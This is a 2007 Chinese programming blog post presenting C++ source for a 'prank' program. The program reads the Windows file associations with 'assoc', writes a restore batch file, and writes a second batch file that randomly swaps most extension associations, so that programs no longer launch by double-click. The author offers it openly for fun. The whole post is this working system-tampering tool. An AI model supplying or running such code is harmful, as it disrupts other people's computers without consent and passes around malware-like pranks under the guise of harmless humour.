正文

恶作剧程序2007-11-06 12:14:00

【评论】 【打印】 【字体: 】 本文链接:http://blog.pfan.cn/lingdlz/30794.html

分享到:

/*************************************************************\
  恶作剧程序 :产生破坏 Windows 的文件关联的 .bat 文件,导致
               所有程序不能通过鼠标双击加载。双击产生的 .bat
               文件即可生效 .....

  只因为无聊 ^_^ 同时还产生恢复程序所以不必担心 ^_^
   
  Author: 江南孤峰      TIME:2007--7--5
\**************************************************************/

#include <iostream>
#include <fstream>
#include <vector>
#include <string>
using namespace std;

typedef struct DATA{
    DATA(string ext, string ass,bool use=false):
        strFileExt(ext),strAssoc(ass),use(false){}
    string strFileExt;
    string strAssoc;
    bool use;
}DATA_TYPE;

int main(){
    system("assoc>source.txt");
    ofstream fileDestory("破坏.bat");
    ofstream fileReset("恢复.bat");
    ifstream in("source.txt");
    if(fileDestory.fail()||fileReset.fail()|in.fail()){
        cout<<"File error !"<<endl;
        system("pause");
        exit(1);
    }
    vector<DATA_TYPE> myVect;
    char buf[256],*p;
    while(true){
        in.getline(buf,256);
        if(in.eof())
            break;
        if(*(p=strchr(buf,'=')+1)=='\0')
            continue;
        fileReset<<"assoc "<<buf<<endl;
        *(p-1) = '\0';
        if(!stricmp(buf,".bat"))
            continue;
        myVect.push_back(DATA(string(buf),string(p)));
    }
    in.close();
    fileReset.close();
    for(int i=0; true; i++){
        if(myVect[i].use==true)
            continue;
        if(i+1>=myVect.size()){
            fileDestory<<"assoc "<<myVect[i].strFileExt<<"="<<myVect[i-2].strAssoc<<endl;
            break;
        }
        int t=rand()%myVect.size();
        while(myVect[t].use==true)
            t = t+1==myVect.size() ? i+1 : t+1 ;
        fileDestory<<"assoc "<<myVect[i].strFileExt<<"="<<myVect[t].strAssoc<<endl;
        fileDestory<<"assoc "<<myVect[t].strFileExt<<"="<<myVect[i].strAssoc<<endl;
        myVect[i].use = myVect[t].use = true;
        i++;
    }
    fileDestory.close();
    cout<<"Create file success !"<<endl;
    system("pause");
    return 0;
}

阅读(5357) | 评论(0)


版权声明:编程爱好者网站为此博客服务提供商,如本文牵涉到版权问题,编程爱好者网站不承担相关责任,如有版权问题请直接与本文作者联系解决。谢谢!

评论

暂无评论
您需要登录后才能评论,请 登录 或者 注册